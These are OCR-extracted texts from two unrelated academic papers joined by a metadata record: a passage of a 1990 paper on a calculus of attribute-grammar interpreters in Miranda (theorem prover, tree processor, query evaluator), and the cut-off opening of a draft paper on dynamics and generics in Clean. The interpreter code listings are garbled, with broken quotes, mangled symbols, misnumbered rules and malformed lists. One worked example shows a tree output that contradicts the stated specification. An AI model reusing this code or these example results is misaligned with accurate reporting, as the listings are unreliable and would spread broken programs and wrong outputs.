in the dictionary that is recognised. 2.8.2 The function `words` is of type: ``` [char] -> [terminal] ``` This function takes a list of characters and returns a list of terminals. For example: ```plaintext words "man and dog" => ["man", "and", "dog"] ``` 3 EXAMPLE 1: A THEOREM PROVER FOR PROPOSITIONAL LOGIC From now on, we shall refer to a program constructed in the calculus as a ‘passage’, standing for “program constructed as a specification of an attribute grammar”. The following example is a complete executable specification of a theorem prover for propositional logic. The passage is constructed using the operators of our calculus. The theorem prover works as follows: the expression that is entered is converted to clausal form by pushing the context, positive or negative, down to the atomic formulas, which are made into negative or positive literals according to the context. These literals are then made into conjunctive clause form sets containing a single disjunctive clause consisting of the single literal. The clause form sets are then joined or disjoined depending on the context in which they appear. Tautologous clauses are removed as they are formed. If and only if the expression given as input is valid, will the clause form set returned be empty. ```plaintext // PASSAGE#1 // WE BEGIN BY DECLARING THE ATTRIBUTE AND TERMINAL TYPES attribute ::= CCFSET [disjclause] | CONTEXT [char] | VAL [char] disjclause ::= DISJCL [literal] literal ::= [char] ``` // This means that there are three types of attribute: // (1) CCFSET (conjunctive clause form set) attributes. These are made from // lists of disjclauses (disjunctive clauses) by applying the attribute // constructor CCFSET // (2) CONTEXT attributes. These are made from lists of characters by applying // the attribute constructor CONTEXT // (3) VAL attributes. These are made from lists of characters by applying // the attribute constructor VAL // Objects of type disjclause are made from lists of literals by applying // the constructor DISJCL DEFINITION OF THE INTERPRETERS var = mkint {"a", [VAL "a"], "b", [VAL "b"], "c", [VAL "c"], "p", [VAL "p"], "q", [VAL "q"], "r", [VAL "r"], "s", [VAL "s"], "t", [VAL "t"], "u", [VAL "u"]} Note that we could have used an auxiliary function here rather than list all terminals of type var wff = \psi (s1 expr ..., s2 !: ".") | rule 1.1 (CCFSET \rightarrow lhs) \leftarrow same_as [CCFSET \rightarrow s1], | rule 1.2 (CONTEXT \downarrow s1) \leftarrow pos_context [\] expr = \psi (s1 var) | rule 2.1 (CCFSET \rightarrow lhs) \leftarrow make_ccfset [VAL \rightarrow s1, CONTEXT \downarrow lhs]; | ("" $o$ compound $o$ !") | $s1 !-" ... s2 expr\) | rule 2.1 (CCFSET \rightarrow lhs) \leftarrow same_as [CCFSET \rightarrow s2], | rule 2.2 (CONTEXT \downarrow s2) \leftarrow opposite [CONTEXT \downarrow lhs]; compound = conj \mid disj \mid implication conj = \psi (s1 expr ..., s2 !"and" ..., s3 conj) | rule 3.1 (CCFSET \rightarrow lhs) \leftarrow context_and [CONTEXT \downarrow lhs, | rule 3.2 (CONTEXT \downarrow s1) \leftarrow same_as [CCFSET \rightarrow s1, CONTEXT \downarrow s1], | rule 3.3 (CONTEXT \downarrow s3) \leftarrow same_as [CONTEXT \downarrow s3]; | \psi (s1 expr) | rule 4.1 (CCFSET \rightarrow lhs) \leftarrow same_as [CCFSET \rightarrow s1], | rule 4.2 (CONTEXT \downarrow s1) \leftarrow same_as [CONTEXT \downarrow lhs]; disj = \psi (s1 expr ..., s2 !"or" ..., s2 disj) | rule 5.1 (CCFSET \rightarrow lhs) \leftarrow context_or [CONTEXT \downarrow lhs, | rule 5.2 (CONTEXT \downarrow s1) \leftarrow same_as [CCFSET \rightarrow s1, CONTEXT \downarrow s1], | rule 5.3 (CONTEXT \downarrow s3) \leftarrow same_as [CONTEXT \downarrow s3]; | \psi (s1 expr) | rule 6.1 (CCFSET \rightarrow lhs) \leftarrow same_as [CCFSET \rightarrow s1], | rule 6.2 (CONTEXT \downarrow s1) \leftarrow same_as [CONTEXT \downarrow lhs]; implication = \psi (s1 expr ..., s2 !"implies" ..., s3 expr) | rule 7.1 (CCFSET \rightarrow lhs) \leftarrow context_or [CONTEXT \downarrow lhs, | rule 7.2 (CONTEXT \downarrow s1) \leftarrow opposite [CONTEXT \downarrow lhs], | rule 7.3 (CONTEXT \downarrow s3) \leftarrow same_as [CONTEXT \downarrow lhs]; ATTRIBUTE FUNCTIONS: functions of type [attribute] \rightarrow attribute same_as [x] = x pos_context [\] = CONTEXT "pos" context_and [CONTEXT "pos", x, y] = ccf_and x y context_and [CONTEXT "neg", x, y] = ccf_or x y context_or [CONTEXT "pos", x, y] = ccf_or x y context_or [CONTEXT "neg", x, y] = ccf_and x y opposite [CONTEXT "pos"] = CONTEXT "neg" opposite [CONTEXT "neg"] = CONTEXT "pos" make_ccfset [VAL v, CONTEXT "pos"] = CCFSET [DISJCL [ v ]] make_ccfset [VAL v, CONTEXT "neg"] = CCFSET [DISJCL [ negate_lit v ]] // FUNCTIONS OF CLAUSAL FORM // The function ccf_and forms the clausal conjunction of two conjunctive // clause sets by simply uniting the disjunctive clauses in them. ccf_and (CCFSET dcs) (CCFSET dcs') = CCFSET (mksat (dcs ++ dcs')) // The function ccf_or forms the clausal disjunction of two conjunctive // clause sets; tautologous clauses are removed as they are produced ccf_or (CCFSET dcs) (CCFSET dcs') = CCFSET (mksat (newclause : (DISJCL c1) <= dcs; (DISJCL c2) <= dcs'; newclause <= :DISJCL (unite_clauses c1 c2)); not_taut newclause); not_taut (DISJCL c) = [11 | 11 <= c; 12 <= c; 11 = [negate_lit 12]] = [] // The notation above is similar to set comprehension in set theory with // 's' replaced by ';', and 'set membership' replaced by 'pars' negate_lit ('-' : x) = x negate_lit y = ('-' : y) unite_clauses c1 c2 = (sort . mksat) (c1 ++ c2) // THE TOP LEVEL INTERPRETER convert s = wff [[(1, (words s))]] The following example illustrates how the function convert can be used to convert expressions to clausal form: convert "p implies q and (r implies (s and t))" => [[[CCFSET [DISJCL ["r", "p", "s"], DISJCL ["r", "p", "t"], DISJCL ["q", "r", "s"], DISJCL ["q", "r", "t"]]], []]] The following example illustrates how the function convert can be used to test for validity. In general, if the formula to be converted is valid, it will be converted into the empty conjunctive clause form set. Therefore, to see if a formula F is a theorem of a theory which has a set of formulas S as proper axioms, you simply apply convert to "(S implies F).". If an empty clause set is returned, then F is a theorem of the propositional theory which has S as proper axioms, otherwise it is not: convert "((p implies q) and p) implies q." => [[[CCFSET [], []]]] 4 EXAMPLE 2: A ONE PASS TREE PROCESSOR The problem is to construct a program that is to accept a binary tree as input and which returns as result an equivalent tree except that all node values are equal to the maximum value in the original tree. For example: "((3 (1 (4 (-)) (5 (-))) (3 (4 (-)) (2 (-))))" => "((3 (1 (4 (-)) (5 (-))) (3 (4 (-)) (2 (-))))" With a little change in perspective, this problem can be thought of as a language processing problem. The input tree can be thought of as a sentence in some appropriately defined input language, and the output tree can be thought of as the result of interpreting the input tree. In the following, we construct a passage which takes a binary tree as input and which, in a single pass over the tree, returns the required result. This example, demonstrates how lazy evaluation and the general attribute dependencies that are allowed when using \( \psi \) can be used to create completely declarative executible specifications of programs that are often regarded as being inherently procedural. // PASSAGE2 // WE BEGIN BY DEFINING THE ATTRIBUTE AND TERMINAL TYPES attribute ::= VAL num | RESULT char | MAX num | REPVAL num // WE NOW DEFINE THE INTERPRETERS item = mknz[(("1", [VAL 1]), ("2", [VAL 2]), (("3", [VAL 3]), ("4", [VAL 4]), ("5", [VAL 5]))] // We could have defined and used an auxiliary function to define // item rather than list all of the terminals rooted_tree = \( \psi \) (sl tree) [rule 1.1 (RESULT \( \uparrow \) lhs) <- same_as (RESULT \( \uparrow \) sl1), rule 1.2 (REPVAL \( \uparrow \) sl1) <- convert (MAX \( \uparrow \) sl1): tree = \( \psi \) (sl !""" [rule 2.1 (MAX \( \uparrow \) lhs) <- constant_0 [], rule 2.2 (RESULT \( \uparrow \) lhs) <- null_tree []]) \( \psi \) (sl !""...s2 item...s4 tree...s5 !"" [rule 3.1 (MAX \( \uparrow \) lhs) <- maximum [VAL \( \uparrow \) s2, MAX \( \uparrow \) s3, MAX \( \uparrow \) s4], rule 3.2 (RESULT \( \uparrow \) lhs) <- make_tree [REPVAL \( \downarrow \) lhs, RESULT \( \uparrow \) s3, RESULT \( \uparrow \) s4], rule 3.3 (REPVAL \( \downarrow \) s3) <- same_as [REPVAL \( \downarrow \) lhs], rule 3.4 (REPVAL \( \downarrow \) s4) <- same_as [REPVAL \( \downarrow \) lhs]) // We COMPLETE THE SPECIFICATION BY DEFINING THE ATTRIBUTE EVALUATION FUNCTIONS same_as [x] = x convert [MAX x] = REPVAL x constant_0 [] = MAX 0 null_tree [] = RESULT "- maximum [VAL x, MAX y, MAX z] = MAX (max [x, y, z]) make_tree [REPVAL x, RESULT y, RESULT z] = RESULT ("++ (show x) ++ " ++ y ++ " ++ z ++ ") We can explain this completely declarative executable specification as follows: 1. A rooted_tree is a tree. Rule 1.1 states that the synthesised RESULT attribute that is associated with a rooted_tree is equal to the synthesised RESULT attribute associated with the tree that comprises the rooted tree. 2. Rule 1.2 states that the inherited replacement value, ie the REPVAL attribute that is inherited, by a tree that comprises a rooted_tree is equal to the synthesised maximum value that is associated with that tree, ie the MAX attribute. 3. A tree can be either a null_tree or can comprise an open bracket followed by an item, two component trees and a closing bracket. Rule 2.1 states that if a tree is a null tree, the synthesised MAX attribute associated with it is MAX 0. Rule 2.2 states that if a tree is a null tree, the synthesised RESULT attribute associated with it is RESULT "- 4. If a tree is not a null_tree, then according to rule 3.1, the synthesised MAX attribute associated with it is equal to the result obtained by applying the function maximum to the synthesised VAL attribute associated with the item and the synthesised max attributes associated with the two component trees. 5. If a tree is not a null tree, then according to rules 3.2, the synthesised result attribute associated with it is equal to the result obtained by applying the function make_tree to the inherited repval attribute associated with the tree and the synthesised result attributes associated with the two component trees. 6. If a tree is not a null tree, then according to rules 3.3 and 3.4, the inherited repval attribute associated with its two component sub-trees are both equal to the inherited repval attribute associated with the tree itself. The following is an example of an application of the interpreter rooted_tree: ``` rooted_tree ((([]), words "((3 (4 (-) (5 (-))) (3 (4 (-) (2 (-))))))") => []((RESULT "((3 (4 (-) (5 (-))) (3 (4 (-) (2 (-))))))", ["-", "]"))) ``` The tree example was presented because it concisely demonstrates features of the operators: (i) they allow lazy executable attribute grammars to be built, and (ii) they allow fully general attribute dependencies to be specified. We believe that the operators constitute the first environment to be built with these two properties. 5 AN EXAMPLE ILLUSTRATING HOW THE OPERATORS CAN BE USED TO CONSTRUCT A SIMPLE NATURAL LANGUAGE QUERY EVALUATOR THAT USES INTENSIONAL, EXTENSIONAL AND UNKNOWN VALUES. This example illustrates how the operators can be used to construct a simple natural language query evaluator in which intensional and extensional attributes are used in the calculation of answers. The example also illustrates how the operators can be used to implement a simplistic approach to the accommodation of unknown values. The interpreter given below takes as input a question such as "planets spin?" or "people think?" and returns a result that is obtained by first of all examining the intensional value int w associated with the common noun and the intensional value int x associated with the intransitive verb. If the pair (int w, int x) is a member of the second order sub_set_relation, then the answer to the question is "yes", otherwise the extensional values ext y and ext z, associated respectively with the common noun and the intransitive verb, are examined. If the extensional values are known, then, if the set z includes the set y, the answer is "yes", otherwise the answer is "no". If either of the extensional values are unknown, the answer is "unknown". ``` // PASSAGE#3 attribute ::= INT_VAL char | EXT_VAL ext_val | ANSWER char ext_val ::= KNOWN intrans_or_cnoun_val | UNKNOWN intrans_or_cnoun_val ::= INTRANS_VAL entity_rep | CNOUN_VAL entity_rep entity_rep ::= E num common_noun = mkint [("planets", [INT_VAL "planet_set"], EXT_VAL (KNOW (CNOUN_VAL planet_set)))], [("people", [INT_VAL "people_set"], EXT_VAL (KNOW (CNOUN_VAL people_set)))] intrans_verb = mkint [("spin", [INT_VAL "spin_set"], EXT_VAL (KNOW (INTRANS_VAL spin_set)))], [("think", [INT_VAL "think_set"], EXT_VAL UNKNOWN)] question = \psi (s1 common_noun ..., s2 intrans_verb) [rule 1.1 (ANSWER lhs) <= int_ext_calc[INT_VAL \up s1, INT_VAL \up s2, EXT_VAL \up s1, EXT_VAL \up s2]) int_ext_calc[INT_VAL w, INT_VAL x, EXT_VAL y, EXT_VAL z] = ANSWER "true", member sub_set_relation (w, x) = check y z, otherwise where check (KNOW (c) (KNOWN i)) = ANSWER "true", (includes i c) check (KNOW (c) (KNOWN i)) = ANSWER "false", (includes i c) check any any' = ANSWER "unknown" includes (INTRANS_VAL a) (CNOUN_VAL b) = (a \&\& b) = [] ``` planet_set = [E 9, E 10, E 11, E 12, E 13, E 14, E 15, E 16, E 17] people_set = [E 54, E 55, E 56] spin_set = [E 9, E 10, E 11, E 12, E 13, E 14, E 15, E 16, E 17] sub_set_relation = ["people_set", "think_set") This executable specification can be explained informally as follows: The first three lines state: (i) that both intensional values and answers are 'made from' character strings, (ii) that extensional values can either be of type known or unknown, (iii) that known extensional values are made from values of intransitive verbs or common nouns, (iv) that values of intransitive verbs and common nouns are made from lists of entity representations, and (v) that entity values are made from numbers. The dictionary lists are such that the extensional value of the word "think" is unknown. The definition of the complex interpreter question states that the answer is computed by applying the attribute function int_ext_calc to the intensional and extensional attributes of the common noun and intransitive verb components. The function int_ext_calc begins by looking at the intensional values and the second order relation sub_set_relation to see if it can return the answer "true" immediately. If not, it checks the extensional values to see if they are both known. If so, a set inclusion test is carried out and an appropriate answer returned. If either of the extensional values is unknown, then the answer returned is "unknown". The following examples illustrate the use of the interpreter: Qu 1) question [] { [,,words "people think?") } => { [,,answer "true", "?"] } Qu 2) question [] { [,,words "planets spin?") } => { [,,answer "true", "?"] } Qu 3) question [] { [,,words "planets think!") } => { [,,answer "unknown", "?"] } The answer to Qu 1 was obtained immediately from the intensional values, the answer to Qu 2 involved a set inclusion test, and the answer to Qu 3 was returned because no intensional or extensional value was known. 6 INTENSIONAL TRANSFORMATIONS We are currently examining ways in which to extend the calculus so that intensional transformation rules can be stated declaratively and then implemented automatically by the interpreters. At first, it would appear that transformation rules which are defined in terms of the concrete syntax of the input language can be incorporated quite easily. For example, consider the following rule which is relevant to example #1: p implies q => -p or q This rule could be incorporated into the specification of the implication interpreter as follows: implication = TRANSFORM (s1 expr ... s2 ;"implies" ... s3 expr) TO expr (["-"] ++ s1 ++ ["or"] ++ s3) The structure TRANSFORM X TO I Y would be such that whenever the interpreter implication were applied to an input structure matching X, the result(s) returned would be obtained by applying the interpreter I to the structure Y. Unfortunately, there are a number of problems with this simplistic approach: 1. If the grammar contained a number of 'related' transformation rules, there would be no guarantee that all possible transformations according to the rules would be carried out. For example, if we were to add a rule for cancelling double negations to the interpreter expr, in addition to the rule for implications given above, then all double negations in the input would be transformed. However, some of the double negations that arise through the transformation of implications, will be missed. 2. There are a number of reasons why transformation rules should be expressed in terms of the abstract syntax of the input language. To accommodate this, the method for implementing transformations would have to access attribute values. The extension of the calculus to include a satisfactory approach to transformation is an area that we are actively investigating. If successful, the resulting automatic implementation of declaratively specified transformation rules could be used: 1. To implement efficiency improving transformations in, for example, database query processors. 2. To generate all possible transformations of input given some set of transformation rules. This could be achieved by having multiple productions for each syntactic construct: one that does not transform the construct but simply returns the construct as its result, and others that transform the construct in various ways according to the transformation rules. The generated transformations could then be tested until one is found that meets certain criteria. The production rules could be ordered to reflect relevant heuristics. The lazy evaluation strategy would make this a plausible approach to solving certain types of constraint satisfaction problems. 3. To implement Chomsky type transformations in natural language processors. The ability to perform intensional and extensional processing in one integrated environment may facilitate the investigation of syntactic and semantic theories of natural language processing. 7 CONCLUDING COMMENTS The programming environment that we have built may be thought of as a step towards a realisation of a suggestion made by Knuth [5] in 1971 that executable attribute grammars might provide a viable declarative programming language. The notion that such a language could be realised as a calculus of interpreters was influenced by Bird’s notion of program calculation [1]. The implementation of the operators of the calculus has been greatly facilitated by the availability of Turner’s higher order, pure, lazy functional programming language Miranda[6]. Clearly, we need to do more work on formalising the calculus. In the examples given in this paper, we have not used the calculus to ‘calculate’ anything other than the output from interpreters. Ideally, one should be able to methodically transform definitions of interpreters to obtain other forms that may be more efficient with respect to given criteria. This is another area of research that we are currently pursuing. To date, we have informally transformed a number of interpreters to more efficient forms. For example, the theorem prover, given in section 3, was derived informally from a more inefficient form. The details of the derivation are given in [2]. However, we have not yet identified an appropriate method to formalise such transformations. It would appear that an appropriate method would have to integrate a number of algebras related to transformations at various levels in the syntactic/semantic spectrum. Earlier versions of the operators described in this paper have been used to build a natural language interpreter which is based on Montague’s approach to the interpretation of natural language [3 and 4]. The interpreter is capable of answering first order, non-modal, non-intensional questions about the planets, their moons, and the people who discovered them. (Note that the notion of intensionality in natural language is somewhat different from that assumed in section 6). The operators have also been used to build a translator from an executable hardware specification language to a netlist format suitable for input to a VLSI layout package. We intend to continue experimentation in these areas and in particular to study the use of the calculus in the investigation of intensionality in natural language processing. The authors acknowledge the assistance of N.S.E.R.C. of Canada, and the support provided by The University of Windsor. Thanks also go to Stephen Karamatos of The University of Windsor, who contributed to the work described in this paper. REFERENCES Appendix A : Formal definitions of operators fail x = [] succeed x = x term pair input = concat (map (interp_term pair) input) where interp_term (terminal,atts) (inh,[]) = [] interp_term (terminal,atts) (inh,(u:us)) = [(atts,us)], u = terminal = [] , otherwise concat = foldr (++) [] ! x ((atts,(t:ts)):rest) = (atts,ts)!:x rest, t = x = :x rest , otherwise ! x any = [] (p | q) input = p input ++ q input (p excl_! q) input = q input, x = [] = x, otherwise where x = p input (p & q) x = q (p x) mkint [] = fail mkint (p:ps) = term p | mkint ps The formal definition of the \( \psi \) structure, when converted to executable Miranda, consists of about 75 lines of code. It is not presented here but can be obtained by writing to the authors at the address given on the first page of this paper. Appendix B : Conversion to Miranda The following minor textual replacements will convert the definitions given in the paper to Miranda code. <table> <thead> <tr> <th>Symbol</th> <th>Suggested in Paper</th> <th>Replacement</th> </tr> </thead> <tbody> <tr> <td>!</td> <td>uterm</td> <td></td> </tr> <tr> <td></td> <td>$orelse</td> <td></td> </tr> <tr> <td>@</td> <td>$o</td> <td></td> </tr> <tr> <td>$u</td> <td>$d</td> <td></td> </tr> <tr> <td>}</td> <td>rstc</td> <td></td> </tr> <tr> <td>..</td> <td>++</td> <td></td> </tr> </tbody> </table> In addition, since operators are less binding than function application, constructs such as s1 !"s" would be replaced by s1 (uterm "s").
{"Source-Url": "http://plaice.web.cse.unsw.edu.au/~plaice/archive/ISLIP/1990/islip1990_c.pdf", "len_cl100k_base": 10159, "olmocr-version": "0.1.53", "pdf-total-pages": 13, "total-fallback-pages": 0, "total-input-tokens": 13897, "total-output-tokens": 11367, "length": "2e13", "weborganizer": {"__label__adult": 0.0003561973571777344, "__label__art_design": 0.00035381317138671875, "__label__crime_law": 0.0003142356872558594, "__label__education_jobs": 0.0008425712585449219, "__label__entertainment": 8.219480514526367e-05, "__label__fashion_beauty": 0.0001512765884399414, "__label__finance_business": 0.0002105236053466797, "__label__food_dining": 0.0004093647003173828, "__label__games": 0.0005068778991699219, "__label__hardware": 0.0008111000061035156, "__label__health": 0.0004854202270507813, "__label__history": 0.00023698806762695312, "__label__home_hobbies": 9.453296661376952e-05, "__label__industrial": 0.00045871734619140625, "__label__literature": 0.00047898292541503906, "__label__politics": 0.00025653839111328125, "__label__religion": 0.0005478858947753906, "__label__science_tech": 0.0340576171875, "__label__social_life": 0.00010347366333007812, "__label__software": 0.005161285400390625, "__label__software_dev": 0.953125, "__label__sports_fitness": 0.0002601146697998047, "__label__transportation": 0.0005307197570800781, "__label__travel": 0.00017058849334716797}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 39877, 0.02196]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 39877, 0.85048]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 39877, 0.84634]], "google_gemma-3-12b-it_contains_pii": [[0, 3369, false], [3369, 5813, null], [5813, 8566, null], [8566, 12643, null], [12643, 15198, null], [15198, 18213, null], [18213, 20569, null], [20569, 23058, null], [23058, 26411, null], [26411, 29942, null], [29942, 33996, null], [33996, 38536, null], [38536, 39877, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3369, true], [3369, 5813, null], [5813, 8566, null], [8566, 12643, null], [12643, 15198, null], [15198, 18213, null], [18213, 20569, null], [20569, 23058, null], [23058, 26411, null], [26411, 29942, null], [29942, 33996, null], [33996, 38536, null], [38536, 39877, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 39877, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 39877, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 39877, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 39877, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 39877, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 39877, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 39877, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 39877, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 39877, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 39877, null]], "pdf_page_numbers": [[0, 3369, 1], [3369, 5813, 2], [5813, 8566, 3], [8566, 12643, 4], [12643, 15198, 5], [15198, 18213, 6], [18213, 20569, 7], [20569, 23058, 8], [23058, 26411, 9], [26411, 29942, 10], [29942, 33996, 11], [33996, 38536, 12], [38536, 39877, 13]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 39877, 0.03645]]}
olmocr_science_pdfs
2024-12-11
2024-12-11
8e41f3b44fb5eb2b8d5444ff72472c9f8c65675b
Dynamic Values Need Polytypic Functions – Draft – Peter Achten, Artem Alimarine, and Rinus Plasmeijer Computing Science Department, University of Nijmegen, 1 Toernooiveld, 6525 ED, Nijmegen, The Netherlands Abstract. To do. 1 Introduction In this paper we discuss the interaction between two recent additions to the pure, lazy, functional programming language Clean 2.0(.1) [4, 9, 13]: Dynamic types enable us to write programs that convert values (data and functions) from the compile time world to the run time world in serialized format and vice versa. Dynamics work over module and application boundaries. Generic programming enables us to write general function schemes that work for any data type. From these schemes the compiler can derive automatically any required instance of a specific type. This is possible because at compile time all types can be derived or verified. In order to apply a generic function to a dynamic value in the current situation, the programmer needs to do an exhaustive type pattern-match on the dynamic type. Apart from the fact that this is impossible, this is at odds with the key idea of generic programming, because the programmer already did that in the generic function definition! One would imagine that it is alright to apply a generic function to any dynamic value. Because generic functions are functions that are defined on the structure of types and their values they are ideal for application to dynamic values. A dynamic value contains a complete type representation and a properly linked-in Clean graph. Therefore, knowing the generic function to apply, one should, in principle, be able to determine the correct instance of the generic function. The main problem is that the type representation of a dynamic is only known at run time, while the instantiation of generic functions needs a compiler-type that is known only at compile time. One obvious solution is to force the programmer not to use generic functions on unpacked dynamic values, but instead extend the dynamic with the ‘generic’ functions that have to be applied to it. When packing such a dynamic, adding the generic functions will suffice. This is unfeasible, as it requires knowledge of all (future) contexts a dynamic value will ever be applied in. We show how to solve this problem without changing the compiler, and relying only on the current implementation of generics and dynamics. The key to the solution is to find a fixed representation for types that can be used both at compile time (to work with compile time type representations), and at run time (to work with dynamic type representations). Dynamics are always created in a context in which their compile time type is known. We seize this opportunity to additionally store conversion functions between the type of the dynamic value and a generic dynamic type. The conversion functions are predefined once generically. For types of kind $\star$ stored in a dynamic, there is a fixed transformation rule that delivers the code for applying the generic function to the dynamic content. In principle, this can be added in a compiler. As a consequence, the programmer only needs to write a generic function definition (as usual), and the compiler can, in principle, derive the dynamic version from it (but, as said, only for kind $\star$). Contributions of this paper are: - We show how one can combine generics and dynamics in one single framework in accordance with their current implementation in the compiler. - We give examples of programs that exploit the combined power of generics and dynamics. The main characteristic of these programs is that they are universally applicable to dynamic values without preprogrammed knowledge of specific types. - The solution that we show can be implemented in any functional language that has support for dynamics and generics. It also works for a language that supports dynamics and overloading, at the expense of writing most of the functions that we present manually. We start the remainder of this paper with introductions to dynamics (Section 2) and generics (Section 3) with respect to core properties that we rely on. We then show how the generic dynamic extension works, based on a small set of type and function definitions (Section 4). A number of examples are given to demonstrate the expressive power of the combination of generics and dynamics (Section 5). We present related work (Section 6), our current and future plans (Section 7), and conclude (Section 8). ## 2 Dynamics in Clean The Clean system has support for dynamics in the style as proposed by Pil [11, 12]. Dynamics serve two major purposes: **Interface between static and run time types:** Programs can convert values from the compile time world to the run time world and back again without loss of type security. Any Clean expression $e$ that has (verifiable or inferable) type $t$ can be formed into a value of type $\text{Dynamic}$ by: $\text{dynamic } e :: t$, or: $\text{dynamic } e$. toDynamic :: [Dynamic] toDynamic = [e1, e2, e3, dynamic [e1,e2,e3]] where e1 = dynamic 50 :: Int e2 = dynamic reverse :: [Real] -> [Real] e3 = dynamic reverse ['a'..'z'] :: [Char] Any Dynamic value can be matched in function alternatives and case expressions. A ‘dynamic pattern match’ consists of an expression pattern e-pat and a type pattern t-pat as follows: (e-pat ::: t-pat). After successful matching, e-pat has become a Clean expression, and t-pat a compile time type. It is important to note that type variables in a type pattern do not indicate polymorphism. Instead, they are bound to the offered type. fromDynamic :: [Dynamic] -> (Int,[Real] -> [Real],[Char]) fromDynamic [ e1 :: Int, e2 :: [Real] -> [Real], e3 :: [Char] ] = (e1, e2, e3) dynApply :: Dynamic Dynamic -> Dynamic dynApply (f :: a -> b) (x :: a) = dynamic (f x) :: b Serialization: Being able to store values in a program in a dynamic format is already useful: it allows flexible manipulation of data and functions. However, the main virtue of dynamics is that it allows programs to serialize and deserialize values without loss of type security. Programs can work safely with data and code that do not originate from themselves. Making an effective and efficient implementation is hard work and requires careful design and architecture of compiler and run time system. It is not our intention to go into any detail of such a project, as these are presented in [15]. What needs to be stressed in the context of this paper is that dynamic values, when read in from disk, contain a binary representation of a complete Clean computation graph, a representation of the compile time type, and references to the related rewrite rules. The programmer has no means of access to these representations other than explained above. Two library functions store and retrieve dynamic values in named files: writeDynamic::String Dynamic *env -> (Bool,*env) | FileSystem env readDynamic ::String Dynamic *env -> (Bool,Dynamic,*env) | FileSystem env The * in front of env is its uniqueness attribute which indicates that this environment value will be passed around single-threadedly. It is an example of the uniqueness type system [14] of Clean to handle safe destructive updates in a pure functional language. The two functions also demonstrate the explicit environment passing style of handling I/O in Clean. At this stage, the Clean 2.0.1 system restricts the use of dynamics to basic, algebraic, record, array, and function types. Polymorphism is not supported, so functions such as the identity function (id :: a -> a) can not be stored as such in a dynamic. Overloaded types and overloaded functions are still an open issue, although it has been investigated by Pil [12]. Generics obviously haven’t been taken into account, and that is what this paper addresses. 3 Generics in Clean The Clean approach to generics [3] combines the polykinded types approach developed by Hinze [6] and its integration with overloading as developed by Hinze and Peyton Jones [7]. A generic function basically represents an infinite set of overloaded classes. Programs define for which types instances of generic functions have to be generated. During program compilation, all generic functions are converted to a finite set of overloaded functions and instances. This part of the compilation process makes use of the compile time type information that is available. As an example, we show the generic definition of the ubiquitous equality function. It is important to observe that a generic function is defined in terms of both the type and the value. Equality compares two arguments of the same (unifiable) type: \[ generic\, gEq\, a :: a\ a \rightarrow \text{Bool} \] This is the type signature that has to be satisfied by an instance for types of kind \( \star \) (such as the basic types \text{Integer}, \text{Real}, \text{Boolean}, \text{Character}, and \text{String}). The generic implementation compares the values of these types, and simply uses the appropriate predefined instance for basic types of the overloaded equality operator \( =\). \[ gEq\{|\text{Int}|\} \ x\ y = x\ ==\ y \] \[ gEq\{|\text{Char}|\} \ x\ y = x\ ==\ y \] \[ gEq\{|\text{Bool}|\} \ x\ y = x\ ==\ y \] \[ gEq\{|\text{Real}|\} \ x\ y = x\ ==\ y \] \[ gEq\{|\text{String}|\} \ x\ y = x\ ==\ y \] Non-basic types are constructed as sums (\text{EITHER}) of pairs (\text{PAIR}) – or empty pair (\text{UNIT}) – of types. It is useful to have information about data constructors (\text{CONS}) and record fields (\text{FIELD}), such as names, arity, priority, and so on. These data types are predefined in Clean, and are collected in the module \text{StdGeneric.dcl}. \[ ::\ \text{UNIT} = \text{UNIT} ::\ \text{EITHER}\ a\ b = \text{LEFT}\ a\ \mid\ \text{RIGHT}\ b ::\ \text{PAIR}\ a\ b = \text{PAIR}\ a\ b ::\ \text{CONS}\ a = \text{CONS}\ a ::\ \text{FIELD}\ a = \text{FIELD}\ a \] The kind of these cases (\text{UNIT} : \star, \text{CONS}, \text{FIELD} : \star \rightarrow \star, \text{and} \text{EITHER}, \text{PAIR} : \star \rightarrow \star \rightarrow \star) determines the number and type of the higher-order function arguments of the generic function definition. These are used to compare the substructures of the arguments (note that for equality, the additional information is not really used). The only case that is missing here is the function type (\(\rightarrow\)), as one can not define a feasible implementation of function equality. The elements of the infinite set of overloaded functions represented by a generic function are indexed with the kind, so for equality we have \(\text{gEq}_{\kappa}, \text{gEq}_{\kappa \rightarrow \kappa}, \text{gEq}_{\kappa \rightarrow \kappa \rightarrow \kappa}, \) and so on. The generic function \(f\) of kind \(\kappa\) is denoted as: \(f|\kappa|\) and can be used as any other overloaded function in a Clean program. Programs must ask explicitly for an instance of type \(T\) of a generic function \(f\) by: \texttt{derive} \(f\ T\). The kind of \(T\) is derived by the compiler. Here is an example of a complete Clean program: ``` module myTree import StdEnv, StdGeneric :: MyTree a = Leaf | Cons (MyTree a) a (MyTree a) derive gEq MyTree // Generate the instance of gEq for MyTree tree1 = Cons Leaf 5 (Cons Leaf 7 Leaf) tree2 = Cons Leaf 2 (Cons Leaf 4 Leaf) Start = ( gEq{|*|} tree1 tree2 // Value equality: False, , gEq{|*->*|} (const o const True) (const o const True) tree1 tree2 // Structure equality: True ) generic gEq a :: a a -> Bool // Definition as in this section ... ``` 4 Dynamics + Generics in Clean In this section we show how we enable programs that manipulate \textit{dynamics} to use any \textit{generic} definition on any dynamic they have obtained. The current implementation of dynamics and generics in Clean imposes the following restrictions on such a solution: 1. Generic functions are really ‘schemes’ from which instances of overloaded functions can be generated. For this we need to know the type of the instance. 2. Clean expressions are unpacked from a dynamic using a type 